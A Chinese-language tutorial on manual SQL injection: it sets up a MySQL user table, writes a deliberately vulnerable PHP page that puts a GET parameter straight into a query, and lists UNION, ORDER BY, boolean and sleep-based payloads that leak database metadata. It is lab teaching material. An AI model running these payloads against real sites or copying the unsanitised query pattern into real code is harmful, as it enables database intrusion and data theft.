sql手工注入
原理
- 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
重点部份手工注入网站:
1:开发一个注入网页漏洞。(产生机理…,如何去挖掘一个网站注入漏洞)
A:创建数据库的后台(加入数据)
- mysql> create database information;
- mysql>use information;
- mysql> createtable user(id smallint(6) NOT NULL AUTO_INCREMENT,username varchar(60) NOTNULL,password varchar(60) NOT NULL,email varchar(100) NOT NULL,commentvarchar(100) NOTNULL,PRIMARY KEY(id));
- desc user;
B:插入数据
- mysql> insertinto user(id,username,password,email,comment) values( 1,'daiv','123456','[email protected]','chendou');
- mysql> insertinto user(id,username,password,email,comment) values( 2,'xjh','654321','[email protected]','gansu');
- mysql> insertinto user(id,username,password,email,comment) values( 3,'mc','346546','[email protected]','yunlan');
- mysql> insertinto user(id,username,password,email,comment) values( 4,'drs','346w678786','[email protected]','ls');
- mysql> insertinto user(id,username,password,email,comment) values( 5,'wpl','3555786','[email protected]','gaoxing');
- mysql> insertinto user(id,username,password,email,comment) values( 6,'ysz','6555786','[email protected]','gaoxing2');
- insert intouser(id,username,password,email,comment) values( 7,'llei','6559986','[email protected]q.com','gaoxing4');
注入页面开发
- <?php
- //get接受参数,连接数据,定义执行一个SQL语句查询 ,返回查询数据库的内容到网页上面
- $id=$_GET['name'];
- //echo $id;
- $conn=mysql_connect('127.0.0.1','root','root');
- /*if($conn){
- echo "本网页已成功连接后台数据库,请放心";
- }
- */
- mysql_select_db("information",$conn);
- $sql="select* from user where id=$id";
- $result=mysql_query($sql);
- while($row=mysql_fetch_array($result)){
- echo "用户的ID号:".$row['id']."<br>";
- echo "用户的姓名:".$row['username']."<br>";
- echo "用户的密码:".$row['password']."<br>";
- echo "用户的邮件:".$row['email']."<br>";
- echo "用户所在城市:".$row['comment'];
- }
- mysql_close($conn);
- echo"<hr>";
- echo "执行SQL查询语句是:";
- echo"select * from user where id=$id";
- ?>
注意:用户提交的数据一定是带入数据库的操作。都有可能存在sql注入。
1:如何测试一个网页是否存在注入;
- 127.0.0.1/my.php?name=1 and 1=1
- 对空格进行了URL编码 空格表示为%20 页面返回成正常select * from user where id=1 and 1=1
- 127.0.0.1/my.php?name=1 and 1=2
- 页面返回成不正常
- select * from user where id=1 and 1=2
- 满足以上两点说明这个页存在SQL注入,或者是www.gaozhengmin.top/my.php?name=1’报错也在存注入漏洞。
- And 两个为真才为真,如果一方为假结果为假。
- Or 如果有一方为真结果才为真。
2:暴出后台数据库的表有5个字段
- 127.0.0.1/my.php?name=1 order by 5
- 127.0.0.1/my.php?name=1 order by (n)
3:使用union查询显示位。
- 127.0.0.1/my.php?name=3 union select 1,2,3,4,5
4:mysql函数讲解
- 1:在显示们进行SQL信息的查询
- 127.0.0.1/my.php?name=3 union select 1,database(),version(),4,5
- 2:mysql用户名user()
- 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,3,4,user()
- 3:系统的用户名system_user()
- 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,3,system_user(),user()
- 4:当前用户名current_user()
- 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,current_user(),system_user(),user()
- 5:数据库名database()
- 127.0.0.1/my.php?name=-1 and 1=2 union select 1,database(),current_user(),system_user(),user()
- 6:数据库的版本version()
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),user()
- 7:读取数据库路径 @@datadir
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@datadir
- 8:读取网站的操作系统@@version_compile_os
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@version_compile_os
- 9:保存临时文件和临时表的目录@@tmpdir
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@tmpdir
- 10:插件目录的路径@@plugin_dir
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@plugin_dir
- 11:错误日志的位置@@log_error
- 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@log_error
-
-
- MYSQL的注入数据实现原理
- (ACCESS是能过** MYSQL4.0及以下是通暴力** MYSQL5.0及以上是能过information_schema来获取数据库的信息。MSSQL2008数据库有information_schema数据库来获取数据库里面的信息。
- information_schema
- information_schema是MYSQL5.0及以上的一个默认数据库。作用:information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。
- 手工注入
- SQL注入原理:客户端(浏览器)的变量(name)向网站服务器提交请求而name的值就是用启输入的值。而这个用户输入的值带入了后数数据库的查询 。我们可能通个这个变量进行SQL语句的构造得到我们想要的后台数据库的信息。(所造成的原因是开发者没有对用启的输入的数据进行过滤)一定记住用户输入的数据都是不安全的必须要经过过滤。
- 延迟注入:
- http://localhost/sqlinject.php?name=-1and sleep(10)